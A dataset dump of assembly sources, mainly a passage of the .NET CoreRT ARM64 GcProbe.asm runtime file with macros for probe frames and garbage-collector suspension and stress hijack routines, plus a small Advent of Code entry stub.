max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
2015/03/main.asm | chylex/Advent-of-Code | 0 | 16133 | bits 64
default rel
section .text
extern part1
extern part2
global entryPoint
entryPoint:
push rbp
mov rbp, rsp
push rcx
call part1
pop rcx
call part2
leave
ret
|
src/Native/Runtime/arm64/GcProbe.asm | crummel/dotnet_corert | 0 | 1332 | <filename>src/Native/Runtime/arm64/GcProbe.asm
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
;; See the LICENSE file in the project root for more information.
#include "AsmMacros.h"
TEXTAREA
SETALIAS GetLoopIndirCells, ?GetLoopIndirCells@ModuleHeader@@QEAAPEAEXZ
SETALIAS g_pTheRuntimeInstance, ?g_pTheRuntimeInstance@@3PEAVRuntimeInstance@@EA
SETALIAS RuntimeInstance__ShouldHijackLoopForGcStress, ?ShouldHijackLoopForGcStress@RuntimeInstance@@QEAA_N_K@Z
EXTERN g_fGcStressStarted
EXTERN $g_pTheRuntimeInstance
EXTERN $RuntimeInstance__ShouldHijackLoopForGcStress
EXTERN $GetLoopIndirCells
EXTERN RecoverLoopHijackTarget
PROBE_SAVE_FLAGS_EVERYTHING equ DEFAULT_FRAME_SAVE_FLAGS + PTFF_SAVE_ALL_SCRATCH
;; Build a map of symbols representing offsets into the transition frame (see PInvokeTransitionFrame in
;; rhbinder.h) and keep these two in sync.
map 0
field OFFSETOF__PInvokeTransitionFrame__m_PreservedRegs
field 10 * 8 ; x19..x28
m_CallersSP field 8 ; SP at routine entry
field 19 * 8 ; x0..x18
field 8 ; lr
m_SavedNZCV field 8 ; Saved condition flags
field 4 * 8 ; d0..d3
PROBE_FRAME_SIZE field 0
;; Support for setting up a transition frame when performing a GC probe. In many respects this is very
;; similar to the logic in PUSH_COOP_PINVOKE_FRAME in AsmMacros.h. In most cases setting up the
;; transition frame comprises the entirety of the caller's prolog (and initial non-prolog code) and
;; similarly for the epilog. Those cases can be dealt with using PROLOG_PROBE_FRAME and EPILOG_PROBE_FRAME
;; defined below. For the special cases where additional work has to be done in the prolog we also provide
;; the lower level macros ALLOC_PROBE_FRAME, FREE_PROBE_FRAME and INIT_PROBE_FRAME that allow more control
;; to be asserted.
;;
;; Note that we currently employ a significant simplification of frame setup: we always allocate a
;; maximally-sized PInvokeTransitionFrame and save all of the registers. Depending on the caller this can
;; lead to up to 20 additional register saves (x0-x18, lr) or 160 bytes of stack space. I have done no
;; analysis to see whether any of the worst cases occur on performance sensitive paths and whether the
;; additional saves will show any measurable degradation.
;; Perform the parts of setting up a probe frame that can occur during the prolog (and indeed this macro
;; can only be called from within the prolog).
MACRO
ALLOC_PROBE_FRAME $extraStackSpace, $saveFPRegisters
;; First create PInvokeTransitionFrame
PROLOG_SAVE_REG_PAIR fp, lr, #-(PROBE_FRAME_SIZE + $extraStackSpace)! ;; Push down stack pointer and store FP and LR
;; Slot at [sp, #0x10] is reserved for Thread *
;; Slot at [sp, #0x18] is reserved for bitmask of saved registers
;; Save callee saved registers
PROLOG_SAVE_REG_PAIR x19, x20, #0x20
PROLOG_SAVE_REG_PAIR x21, x22, #0x30
PROLOG_SAVE_REG_PAIR x23, x24, #0x40
PROLOG_SAVE_REG_PAIR x25, x26, #0x50
PROLOG_SAVE_REG_PAIR x27, x28, #0x60
;; Slot at [sp, #0x70] is reserved for caller sp
;; Save the scratch registers
PROLOG_NOP str x0, [sp, #0x78]
PROLOG_NOP stp x1, x2, [sp, #0x80]
PROLOG_NOP stp x3, x4, [sp, #0x90]
PROLOG_NOP stp x5, x6, [sp, #0xA0]
PROLOG_NOP stp x7, x8, [sp, #0xB0]
PROLOG_NOP stp x9, x10, [sp, #0xC0]
PROLOG_NOP stp x11, x12, [sp, #0xD0]
PROLOG_NOP stp x13, x14, [sp, #0xE0]
PROLOG_NOP stp x15, x16, [sp, #0xF0]
PROLOG_NOP stp x17, x18, [sp, #0x100]
PROLOG_NOP str lr, [sp, #0x110]
;; Slot at [sp, #0x118] is reserved for NZCV
;; Save the floating return registers
IF $saveFPRegisters
PROLOG_NOP stp d0, d1, [sp, #0x120]
PROLOG_NOP stp d2, d3, [sp, #0x130]
ENDIF
MEND
;; Undo the effects of an ALLOC_PROBE_FRAME. This may only be called within an epilog. Note that all
;; registers are restored (apart for sp and pc), even volatiles.
MACRO
FREE_PROBE_FRAME $extraStackSpace, $restoreFPRegisters
;; Restore the scratch registers
PROLOG_NOP ldr x0, [sp, #0x78]
PROLOG_NOP ldp x1, x2, [sp, #0x80]
PROLOG_NOP ldp x3, x4, [sp, #0x90]
PROLOG_NOP ldp x5, x6, [sp, #0xA0]
PROLOG_NOP ldp x7, x8, [sp, #0xB0]
PROLOG_NOP ldp x9, x10, [sp, #0xC0]
PROLOG_NOP ldp x11, x12, [sp, #0xD0]
PROLOG_NOP ldp x13, x14, [sp, #0xE0]
PROLOG_NOP ldp x15, x16, [sp, #0xF0]
PROLOG_NOP ldp x17, x18, [sp, #0x100]
PROLOG_NOP ldr lr, [sp, #0x110]
; Restore the floating return registers
IF $restoreFPRegisters
EPILOG_NOP ldp d0, d1, [sp, #0x120]
EPILOG_NOP ldp d2, d3, [sp, #0x130]
ENDIF
;; Restore callee saved registers
EPILOG_RESTORE_REG_PAIR x19, x20, #0x20
EPILOG_RESTORE_REG_PAIR x21, x22, #0x30
EPILOG_RESTORE_REG_PAIR x23, x24, #0x40
EPILOG_RESTORE_REG_PAIR x25, x26, #0x50
EPILOG_RESTORE_REG_PAIR x27, x28, #0x60
EPILOG_RESTORE_REG_PAIR fp, lr, #(PROBE_FRAME_SIZE + $extraStackSpace)!
MEND
;; Complete the setup of a probe frame allocated with ALLOC_PROBE_FRAME with the initialization that can
;; occur only outside the prolog (includes linking the frame to the current Thread). This macro assumes SP
;; is invariant outside of the prolog.
;;
;; $threadReg : register containing the Thread* (this will be preserved)
;; $trashReg : register that can be trashed by this macro
;; $savedRegsMask : value to initialize m_Flags field with (register or #constant)
;; $gcFlags : value of gcref / gcbyref flags for saved registers, used only if $savedRegsMask is constant
;; $frameSize : total size of the method's stack frame (including probe frame size)
MACRO
INIT_PROBE_FRAME $threadReg, $trashReg, $savedRegsMask, $gcFlags, $frameSize
LCLS BitmaskStr
BitmaskStr SETS "$savedRegsMask"
str $threadReg, [sp, #OFFSETOF__PInvokeTransitionFrame__m_pThread] ; Thread *
IF BitmaskStr:LEFT:1 == "#"
;; The savedRegsMask is a constant, remove the leading "#" since the MOVL64 doesn't expect it
BitmaskStr SETS BitmaskStr:RIGHT:(:LEN:BitmaskStr - 1)
MOVL64 $trashReg, $BitmaskStr, $gcFlags
ELSE
ASSERT "$gcFlags" == ""
;; The savedRegsMask is a register
mov $trashReg, $savedRegsMask
ENDIF
str $trashReg, [sp, #OFFSETOF__PInvokeTransitionFrame__m_Flags]
add $trashReg, sp, #$frameSize
str $trashReg, [sp, #m_CallersSP]
MEND
;; Simple macro to use when setting up the probe frame can comprise the entire prolog. Call this macro
;; first in the method (no further prolog instructions can be added after this).
;;
;; $threadReg : register containing the Thread* (this will be preserved). If defaulted (specify |) then
;; the current thread will be calculated inline into r2 ($trashReg must not equal r2 in
;; this case)
;; $trashReg : register that can be trashed by this macro
;; $savedRegsMask : value to initialize m_dwFlags field with (register or #constant)
;; $gcFlags : value of gcref / gcbyref flags for saved registers, used only if $savedRegsMask is constant
MACRO
PROLOG_PROBE_FRAME $threadReg, $trashReg, $savedRegsMask, $gcFlags
; Local string tracking the name of the register in which the Thread* is kept. Defaults to the value
; of $threadReg.
LCLS __PPF_ThreadReg
__PPF_ThreadReg SETS "$threadReg"
; Define the method prolog, allocating enough stack space for the PInvokeTransitionFrame and saving
; incoming register values into it.
ALLOC_PROBE_FRAME 0, {true}
; If the caller didn't provide a value for $threadReg then generate code to fetch the Thread* into x2.
; Record that x2 holds the Thread* in our local variable.
IF "$threadReg" == ""
ASSERT "$trashReg" != "x2"
__PPF_ThreadReg SETS "x2"
INLINE_GETTHREAD $__PPF_ThreadReg, $trashReg
ENDIF
; Perform the rest of the PInvokeTransitionFrame initialization.
INIT_PROBE_FRAME $__PPF_ThreadReg, $trashReg, $savedRegsMask, $gcFlags, PROBE_FRAME_SIZE
mov $trashReg, sp
str $trashReg, [$__PPF_ThreadReg, #OFFSETOF__Thread__m_pHackPInvokeTunnel]
MEND
; Simple macro to use when PROLOG_PROBE_FRAME was used to set up and initialize the prolog and
; PInvokeTransitionFrame. This will define the epilog including a return via the restored LR.
MACRO
EPILOG_PROBE_FRAME
FREE_PROBE_FRAME 0, {true}
EPILOG_RETURN
MEND
;; In order to avoid trashing VFP registers across the loop hijack we must save all user registers, so that
;; registers used by the loop being hijacked will not be affected. Unlike ARM32 where neon registers (NQ0, ..., NQ15)
;; are fully covered by the floating point registers D0 ... D31, we have 32 neon registers Q0, ... Q31 on ARM64
;; which are not fully covered by the register D0 ... D31. Therefore we must explicitly save all Q registers.
EXTRA_SAVE_SIZE equ (32*16)
MACRO
ALLOC_LOOP_HIJACK_FRAME
PROLOG_STACK_ALLOC EXTRA_SAVE_SIZE
;; Save all neon registers
PROLOG_NOP stp q0, q1, [sp]
PROLOG_NOP stp q2, q3, [sp, #0x20]
PROLOG_NOP stp q4, q5, [sp, #0x40]
PROLOG_NOP stp q6, q7, [sp, #0x60]
PROLOG_NOP stp q8, q9, [sp, #0x80]
PROLOG_NOP stp q10, q11, [sp, #0xA0]
PROLOG_NOP stp q12, q13, [sp, #0xC0]
PROLOG_NOP stp q14, q15, [sp, #0xE0]
PROLOG_NOP stp q16, q17, [sp, #0x100]
PROLOG_NOP stp q18, q19, [sp, #0x120]
PROLOG_NOP stp q20, q21, [sp, #0x140]
PROLOG_NOP stp q22, q23, [sp, #0x160]
PROLOG_NOP stp q24, q25, [sp, #0x180]
PROLOG_NOP stp q26, q27, [sp, #0x1A0]
PROLOG_NOP stp q28, q29, [sp, #0x1C0]
PROLOG_NOP stp q30, q31, [sp, #0x1E0]
ALLOC_PROBE_FRAME 0, {false}
MEND
MACRO
FREE_LOOP_HIJACK_FRAME
FREE_PROBE_FRAME 0, {false}
;; restore all neon registers
PROLOG_NOP ldp q0, q1, [sp]
PROLOG_NOP ldp q2, q3, [sp, #0x20]
PROLOG_NOP ldp q4, q5, [sp, #0x40]
PROLOG_NOP ldp q6, q7, [sp, #0x60]
PROLOG_NOP ldp q8, q9, [sp, #0x80]
PROLOG_NOP ldp q10, q11, [sp, #0xA0]
PROLOG_NOP ldp q12, q13, [sp, #0xC0]
PROLOG_NOP ldp q14, q15, [sp, #0xE0]
PROLOG_NOP ldp q16, q17, [sp, #0x100]
PROLOG_NOP ldp q18, q19, [sp, #0x120]
PROLOG_NOP ldp q20, q21, [sp, #0x140]
PROLOG_NOP ldp q22, q23, [sp, #0x160]
PROLOG_NOP ldp q24, q25, [sp, #0x180]
PROLOG_NOP ldp q26, q27, [sp, #0x1A0]
PROLOG_NOP ldp q28, q29, [sp, #0x1C0]
PROLOG_NOP ldp q30, q31, [sp, #0x1E0]
EPILOG_STACK_FREE EXTRA_SAVE_SIZE
MEND
;;
;; Macro to clear the hijack state. This is safe to do because the suspension code will not Unhijack this
;; thread if it finds it at an IP that isn't managed code.
;;
;; Register state on entry:
;; x2: thread pointer
;;
;; Register state on exit:
;;
MACRO
ClearHijackState
ASSERT OFFSETOF__Thread__m_pvHijackedReturnAddress == (OFFSETOF__Thread__m_ppvHijackedReturnAddressLocation + 8)
;; Clear m_ppvHijackedReturnAddressLocation and m_pvHijackedReturnAddress
stp xzr, xzr, [x2, #OFFSETOF__Thread__m_ppvHijackedReturnAddressLocation]
;; Clear m_uHijackedReturnValueFlags
str xzr, [x2, #OFFSETOF__Thread__m_uHijackedReturnValueFlags]
MEND
;;
;; The prolog for all GC suspension hijacks (normal and stress). Fixes up the hijacked return address, and
;; clears the hijack state.
;;
;; Register state on entry:
;; All registers correct for return to the original return address.
;;
;; Register state on exit:
;; x2: thread pointer
;; x3: trashed
;; x12: transition frame flags for the return registers x0 and x1
;;
MACRO
FixupHijackedCallstack
;; x2 <- GetThread(), TRASHES x3
INLINE_GETTHREAD x2, x3
;;
;; Fix the stack by restoring the original return address
;;
ASSERT OFFSETOF__Thread__m_uHijackedReturnValueFlags == (OFFSETOF__Thread__m_pvHijackedReturnAddress + 8)
;; Load m_pvHijackedReturnAddress and m_uHijackedReturnValueFlags
ldp lr, x12, [x2, #OFFSETOF__Thread__m_pvHijackedReturnAddress]
ClearHijackState
MEND
;;
;; Set the Thread state and wait for a GC to complete.
;;
;; Register state on entry:
;; x4: thread pointer
;;
;; Register state on exit:
;; x4: thread pointer
;; All other registers trashed
;;
EXTERN RhpWaitForGCNoAbort
MACRO
WaitForGCCompletion
ldr w2, [x4, #OFFSETOF__Thread__m_ThreadStateFlags]
tst w2, #TSF_SuppressGcStress__OR__TSF_DoNotTriggerGC
bne %ft0
ldr x2, [x4, #OFFSETOF__Thread__m_pHackPInvokeTunnel]
bl RhpWaitForGCNoAbort
0
MEND
MACRO
HijackTargetFakeProlog
;; This is a fake entrypoint for the method that 'tricks' the OS into calling our personality routine.
;; The code here should never be executed, and the unwind info is bogus, but we don't mind since the
;; stack is broken by the hijack anyway until after we fix it below.
PROLOG_SAVE_REG_PAIR fp, lr, #-0x10!
nop ; We also need a nop here to simulate the implied bl instruction. Without
; this, an OS-applied -4 will back up into the method prolog and the unwind
; will not be applied as desired.
MEND
;;
;;
;;
;; GC Probe Hijack targets
;;
;;
EXTERN RhpPInvokeExceptionGuard
NESTED_ENTRY RhpGcProbeHijackWrapper, .text, RhpPInvokeExceptionGuard
HijackTargetFakeProlog
LABELED_RETURN_ADDRESS RhpGcProbeHijack
FixupHijackedCallstack
orr x12, x12, #DEFAULT_FRAME_SAVE_FLAGS
b RhpGcProbe
NESTED_END RhpGcProbeHijackWrapper
#ifdef FEATURE_GC_STRESS
;;
;;
;; GC Stress Hijack targets
;;
;;
LEAF_ENTRY RhpGcStressHijack
FixupHijackedCallstack
orr x12, x12, #DEFAULT_FRAME_SAVE_FLAGS
b RhpGcStressProbe
LEAF_END RhpGcStressHijack
;;
;; Worker for our GC stress probes. Do not call directly!!
;; Instead, go through RhpGcStressHijack{Scalar|Object|Byref}.
;; This worker performs the GC Stress work and returns to the original return address.
;;
;; Register state on entry:
;; x0: hijacked function return value
;; x1: hijacked function return value
;; x2: thread pointer
;; w12: register bitmask
;;
;; Register state on exit:
;; Scratch registers, except for x0, have been trashed
;; All other registers restored as they were when the hijack was first reached.
;;
NESTED_ENTRY RhpGcStressProbe
PROLOG_PROBE_FRAME x2, x3, x12,
bl $REDHAWKGCINTERFACE__STRESSGC
EPILOG_PROBE_FRAME
NESTED_END RhpGcStressProbe
#endif ;; FEATURE_GC_STRESS
LEAF_ENTRY RhpGcProbe
brk 0xf000 ;; TODO: remove after debugging/testing stub
ldr x3, =RhpTrapThreads
ldr w3, [x3]
tbnz x3, #TrapThreadsFlags_TrapThreads_Bit, RhpGcProbeRare
ret
LEAF_END RhpGcProbe
EXTERN RhpThrowHwEx
NESTED_ENTRY RhpGcProbeRare
brk 0xf000 ;; TODO: remove after debugging/testing stub
PROLOG_PROBE_FRAME x2, x3, x12,
mov x4, x2
WaitForGCCompletion
ldr x2, [sp, #OFFSETOF__PInvokeTransitionFrame__m_Flags]
tbnz x2, #PTFF_THREAD_ABORT_BIT, %F1
EPILOG_PROBE_FRAME
1
FREE_PROBE_FRAME 0, {true}
EPILOG_NOP mov w0, #STATUS_REDHAWK_THREAD_ABORT
EPILOG_NOP mov x1, lr ;; return address as exception PC
EPILOG_NOP b RhpThrowHwEx
NESTED_END RhpGcProbeRare
LEAF_ENTRY RhpGcPoll
brk 0xf000 ;; TODO: remove after debugging/testing stub
; @todo: I'm assuming it's not OK to trash any register here. If that's not true we can optimize the
; push/pops out of this fast path.
str x0, [sp], #-0x10!
ldr x0, =RhpTrapThreads
ldr w0, [x0]
tbnz x0, #TrapThreadsFlags_TrapThreads_Bit, %F0
ldr x0, [sp], #0x10!
ret
0
ldr x0, [sp], #0x10!
b RhpGcPollRare
LEAF_END RhpGcPoll
NESTED_ENTRY RhpGcPollRare
brk 0xf000 ;; TODO: remove after debugging/testing stub
PROLOG_PROBE_FRAME |, x3, #PROBE_SAVE_FLAGS_EVERYTHING, 0
; Unhijack this thread, if necessary.
INLINE_THREAD_UNHIJACK x2, x0, x1 ;; trashes x0, x1
mov x4, x2
WaitForGCCompletion
EPILOG_PROBE_FRAME
NESTED_END RhpGcPollRare
LEAF_ENTRY RhpGcPollStress
;
; loop hijacking is used instead
;
brk 0xf000
LEAF_END RhpGcPollStress
#ifdef FEATURE_GC_STRESS
NESTED_ENTRY RhpHijackForGcStress
;; This function should be called from right before epilog
;; Push FP and LR, and allocate stack to hold PAL_LIMITED_CONTEXT structure and VFP return value registers
PROLOG_SAVE_REG_PAIR fp, lr, #-(SIZEOF__PAL_LIMITED_CONTEXT + 0x20)!
;;
;; Setup a PAL_LIMITED_CONTEXT that looks like what you'd get if you had suspended this thread at the
;; IP after the call to this helper.
;;
;; This is very likely overkill since the calculation of the return address should only need SP and
;; LR, but this is test code, so I'm not too worried about efficiency.
;;
;; Setup a PAL_LIMITED_CONTEXT on the stack
;; {
;; FP and LR already pushed.
PROLOG_NOP stp x0, x1, [sp, #0x10]
PROLOG_SAVE_REG_PAIR x19, x20, #0x20
PROLOG_SAVE_REG_PAIR x21, x22, #0x30
PROLOG_SAVE_REG_PAIR x23, x24, #0x40
PROLOG_SAVE_REG_PAIR x25, x26, #0x50
PROLOG_SAVE_REG_PAIR x27, x28, #0x60
PROLOG_SAVE_REG lr, #0x78
;; } end PAL_LIMITED_CONTEXT
;; Save VFP return value
stp d0, d1, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x00)]
stp d2, d3, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x10)]
;; Compute and save SP at callsite.
add x0, sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x20) ;; +0x20 for the pushes right before the context struct
str x0, [sp, #OFFSETOF__PAL_LIMITED_CONTEXT__SP]
mov x0, sp ; Address of PAL_LIMITED_CONTEXT
bl $THREAD__HIJACKFORGCSTRESS
;; Restore return value registers (saved in PAL_LIMITED_CONTEXT structure)
ldp x0, x1, [sp, #0x10]
;; Restore VFP return value
ldp d0, d1, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x00)]
ldp d2, d3, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x10)]
;; Epilog
EPILOG_RESTORE_REG_PAIR x19, x20, #0x20
EPILOG_RESTORE_REG_PAIR x21, x22, #0x30
EPILOG_RESTORE_REG_PAIR x23, x24, #0x40
EPILOG_RESTORE_REG_PAIR x25, x26, #0x50
EPILOG_RESTORE_REG_PAIR x27, x28, #0x60
EPILOG_RESTORE_REG_PAIR fp, lr, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x20)!
EPILOG_RETURN
NESTED_END RhpHijackForGcStress
NESTED_ENTRY RhpHijackForGcStressLeaf
;; This should be jumped to, right before epilog
;; x9 has the return address (we don't care about trashing scratch regs at this point)
;; Push FP and LR, and allocate stack to hold PAL_LIMITED_CONTEXT structure and VFP return value registers
PROLOG_SAVE_REG_PAIR fp, lr, #-(SIZEOF__PAL_LIMITED_CONTEXT + 0x20)!
;;
;; Setup a PAL_LIMITED_CONTEXT that looks like what you'd get if you had suspended this thread at the
;; IP after the call to this helper.
;;
;; This is very likely overkill since the calculation of the return address should only need SP and
;; LR, but this is test code, so I'm not too worried about efficiency.
;;
;; Setup a PAL_LIMITED_CONTEXT on the stack
;; {
;; FP and LR already pushed.
PROLOG_NOP stp x0, x1, [sp, #0x10]
PROLOG_SAVE_REG_PAIR x19, x20, #0x20
PROLOG_SAVE_REG_PAIR x21, x22, #0x30
PROLOG_SAVE_REG_PAIR x23, x24, #0x40
PROLOG_SAVE_REG_PAIR x25, x26, #0x50
PROLOG_SAVE_REG_PAIR x27, x28, #0x60
; PROLOG_SAVE_REG macro doesn't let to use scratch reg:
PROLOG_NOP str x9, [sp, #0x78] ; this is return address from RhpHijackForGcStress; lr is return address for it's caller
;; } end PAL_LIMITED_CONTEXT
;; Save VFP return value
stp d0, d1, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x00)]
stp d2, d3, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x10)]
;; Compute and save SP at callsite.
add x0, sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x20) ;; +0x20 for the pushes right before the context struct
str x0, [sp, #OFFSETOF__PAL_LIMITED_CONTEXT__SP]
mov x0, sp ; Address of PAL_LIMITED_CONTEXT
bl $THREAD__HIJACKFORGCSTRESS
;; Restore return value registers (saved in PAL_LIMITED_CONTEXT structure)
ldp x0, x1, [sp, #0x10]
;; Restore VFP return value
ldp d0, d1, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x00)]
ldp d2, d3, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x10)]
;; Epilog
EPILOG_RESTORE_REG_PAIR x19, x20, #0x20
EPILOG_RESTORE_REG_PAIR x21, x22, #0x30
EPILOG_RESTORE_REG_PAIR x23, x24, #0x40
EPILOG_RESTORE_REG_PAIR x25, x26, #0x50
EPILOG_RESTORE_REG_PAIR x27, x28, #0x60
EPILOG_NOP ldr x9, [sp, #0x78]
EPILOG_RESTORE_REG_PAIR fp, lr, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x20)!
EPILOG_NOP ret x9
NESTED_END RhpHijackForGcStressLeaf
#endif ;; FEATURE_GC_STRESS
#if 0 // used by the binder only
;;
;; The following functions are _jumped_ to when we need to transfer control from one method to another for EH
;; dispatch. These are needed to properly coordinate with the GC hijacking logic. We are essentially replacing
;; the return from the throwing method with a jump to the handler in the caller, but we need to be aware of
;; any return address hijack that may be in place for GC suspension. These routines use a quick test of the
;; return address against a specific GC hijack routine, and then fixup the stack pointer to what it would be
;; after a real return from the throwing method. Then, if we are not hijacked we can simply jump to the
;; handler in the caller.
;;
;; If we are hijacked, then we jump to a routine that will unhijack appropriately and wait for the GC to
;; complete. There are also variants for GC stress.
;;
;; Note that at this point we are either hijacked or we are not, and this will not change until we return to
;; managed code. It is an invariant of the system that a thread will only attempt to hijack or unhijack
;; another thread while the target thread is suspended in managed code, and this is _not_ managed code.
;;
MACRO
RTU_EH_JUMP_HELPER $funcName, $hijackFuncName, $isStress, $stressFuncName
LEAF_ENTRY $funcName
ldr x0, =$hijackFuncName
cmp x0, lr
beq RhpGCProbeForEHJump
IF $isStress
ldr x0, =$stressFuncName
cmp x0, lr
beq RhpGCStressProbeForEHJump
ENDIF
;; We are not hijacked, so we can return to the handler.
;; We return to keep the call/return prediction balanced.
mov lr, x2 ; Update the return address
ret
LEAF_END $funcName
MEND
;; We need an instance of the helper for each possible hijack function. The binder has enough
;; information to determine which one we need to use for any function.
RTU_EH_JUMP_HELPER RhpEHJumpScalar, RhpGcProbeHijack, {false}, 0
RTU_EH_JUMP_HELPER RhpEHJumpObject, RhpGcProbeHijack, {false}, 0
RTU_EH_JUMP_HELPER RhpEHJumpByref, RhpGcProbeHijack, {false}, 0
#ifdef FEATURE_GC_STRESS
RTU_EH_JUMP_HELPER RhpEHJumpScalarGCStress, RhpGcProbeHijack, {true}, RhpGcStressHijack
RTU_EH_JUMP_HELPER RhpEHJumpObjectGCStress, RhpGcProbeHijack, {true}, RhpGcStressHijack
RTU_EH_JUMP_HELPER RhpEHJumpByrefGCStress, RhpGcProbeHijack, {true}, RhpGcStressHijack
#endif
;;
;; Macro to setup our frame and adjust the location of the EH object reference for EH jump probe funcs.
;;
;; Register state on entry:
;; x0: scratch
;; x1: reference to the exception object.
;; x2: handler address we want to jump to.
;; Non-volatile registers are all already correct for return to the caller.
;; The stack is as if we are just about to returned from the call
;;
;; Register state on exit:
;; x0: reference to the exception object
;; x2: thread pointer
;;
MACRO
EHJumpProbeProlog
PROLOG_NOP mov x0, x1 ; move the ex object reference into x0 so we can report it
ALLOC_PROBE_FRAME 0x10, {true}
str x2, [sp, #PROBE_FRAME_SIZE]
;; x2 <- GetThread(), TRASHES x1
INLINE_GETTHREAD x2, x1
;; Recover the original return address and update the frame
ldr lr, [x2, #OFFSETOF__Thread__m_pvHijackedReturnAddress]
str lr, [sp, #OFFSETOF__PInvokeTransitionFrame__m_RIP]
;; ClearHijackState expects thread in x2
ClearHijackState
; TRASHES x1
INIT_PROBE_FRAME x2, x1, #(DEFAULT_FRAME_SAVE_FLAGS + PTFF_SAVE_X0), PTFF_X0_IS_GCREF_HI, (PROBE_FRAME_SIZE + 8)
add x1, sp, xzr
str x1, [x2, #OFFSETOF__Thread__m_pHackPInvokeTunnel]
MEND
;;
;; Macro to re-adjust the location of the EH object reference, cleanup the frame, and make the
;; final jump to the handler for EH jump probe funcs.
;;
;; Register state on entry:
;; x0: reference to the exception object
;; x1-x3: scratch
;;
;; Register state on exit:
;; sp: correct for return to the caller
;; x1: reference to the exception object
;;
MACRO
EHJumpProbeEpilog
ldr x2, [sp, #PROBE_FRAME_SIZE]
FREE_PROBE_FRAME 0x10, {true} ; This restores exception object back into x0
EPILOG_NOP mov x1, x0 ; Move the Exception object back into x1 where the catch handler expects it
EPILOG_NOP ret x2
MEND
;;
;; We are hijacked for a normal GC (not GC stress), so we need to unhijack and wait for the GC to complete.
;;
;; Register state on entry:
;; x0: reference to the exception object.
;; x2: thread
;; Non-volatile registers are all already correct for return to the caller.
;; The stack is as if we have tail called to this function (lr points to return address).
;;
;; Register state on exit:
;; x0: reference to the exception object
;;
NESTED_ENTRY RhpGCProbeForEHJump
brk 0xf000 ;; TODO: remove after debugging/testing stub
EHJumpProbeProlog
#ifdef _DEBUG
;;
;; If we get here, then we have been hijacked for a real GC, and our SyncState must
;; reflect that we've been requested to synchronize.
ldr x1, =RhpTrapThreads
ldr w1, [x1]
tbnz x1, #TrapThreadsFlags_TrapThreads_Bit, %0
bl RhDebugBreak
0
#endif ;; _DEBUG
mov x4, x2
WaitForGCCompletion
EHJumpProbeEpilog
NESTED_END RhpGCProbeForEHJump
#ifdef FEATURE_GC_STRESS
;;
;; We are hijacked for GC Stress (not a normal GC) so we need to invoke the GC stress helper.
;;
;; Register state on entry:
;; x1: reference to the exception object.
;; x2: thread
;; Non-volatile registers are all already correct for return to the caller.
;; The stack is as if we have tail called to this function (lr points to return address).
;;
;; Register state on exit:
;; x0: reference to the exception object
;;
NESTED_ENTRY RhpGCStressProbeForEHJump
brk 0xf000 ;; TODO: remove after debugging/testing stub
EHJumpProbeProlog
bl $REDHAWKGCINTERFACE__STRESSGC
EHJumpProbeEpilog
NESTED_END RhpGCStressProbeForEHJump
#endif ;; FEATURE_GC_STRESS
#endif ;; 0
#ifdef FEATURE_GC_STRESS
;;
;; INVARIANT: Don't trash the argument registers, the binder codegen depends on this.
;;
LEAF_ENTRY RhpSuppressGcStress
INLINE_GETTHREAD x9, x10
add x9, x9, #OFFSETOF__Thread__m_ThreadStateFlags
Retry
ldxr w10, [x9]
orr w10, w10, #TSF_SuppressGcStress
stxr w11, w10, [x9]
cbz w11, Success
b Retry
Success
ret
LEAF_END RhpSuppressGcStress
#endif ;; FEATURE_GC_STRESS
;; Helper called from hijacked loops
LEAF_ENTRY RhpLoopHijack
;; we arrive here with essentially all registers containing useful content
;; TODO: update this comment after the RhpLoopHijack is implemented in the compiler
;; on the stack, we have two arguments:
;; - [sp+0] has the module header
;; - [sp+8] has the address of the indirection cell we jumped through
;;
;;
brk 0xf000 ;; TODO: remove after debugging/testing stub
ALLOC_LOOP_HIJACK_FRAME
; save condition codes
mrs x12, NZCV
str x12, [sp, #m_SavedNZCV]
INLINE_GETTHREAD x4, x1
INIT_PROBE_FRAME x4, x1, #PROBE_SAVE_FLAGS_EVERYTHING, 0, (PROBE_FRAME_SIZE + EXTRA_SAVE_SIZE + 8)
;;
;; compute the index of the indirection cell
;;
ldr x0, [sp,#(PROBE_FRAME_SIZE + EXTRA_SAVE_SIZE + 0)]
bl $GetLoopIndirCells
; x0 now has address of the first loop indir cell
; subtract that from the address of our cell
; and divide by 8 to give the index of our cell
ldr x1, [sp,#(PROBE_FRAME_SIZE + EXTRA_SAVE_SIZE + 8)]
sub x1, x1, x0
lsr x0, x1, #3
; x0 now has the index
; recover the loop hijack target, passing the module header as an additional argument
ldr x1, [sp,#(PROBE_FRAME_SIZE + EXTRA_SAVE_SIZE + 0)]
bl RecoverLoopHijackTarget
; store the result as our pinvoke return address
str x0, [sp, #OFFSETOF__PInvokeTransitionFrame__m_RIP]
; also save it in the incoming parameter space for the actual return below
str x0, [sp,#(PROBE_FRAME_SIZE + EXTRA_SAVE_SIZE + 8)]
; Early out if GC stress is currently suppressed. Do this after we have computed the real address to
; return to but before we link the transition frame onto m_pHackPInvokeTunnel (because hitting this
; condition implies we're running restricted callouts during a GC itself and we could end up
; overwriting a co-op frame set by the code that caused the GC in the first place, e.g. a GC.Collect
; call).
ldr w1, [x4, #OFFSETOF__Thread__m_ThreadStateFlags]
tst w1, #TSF_SuppressGcStress__OR__TSF_DoNotTriggerGC
bne DoneWaitingForGc
; link the frame into the Thread
add x1, sp, xzr
str x1, [x4, #OFFSETOF__Thread__m_pHackPInvokeTunnel]
;;
;; Unhijack this thread, if necessary.
;;
INLINE_THREAD_UNHIJACK x4, x1, x2 ;; trashes x1, x2
#ifdef FEATURE_GC_STRESS
ldr x1, =g_fGcStressStarted
ldr w1, [x1]
cbnz w1, NoGcStress
mov x1, x0
ldr x0, =$g_pTheRuntimeInstance
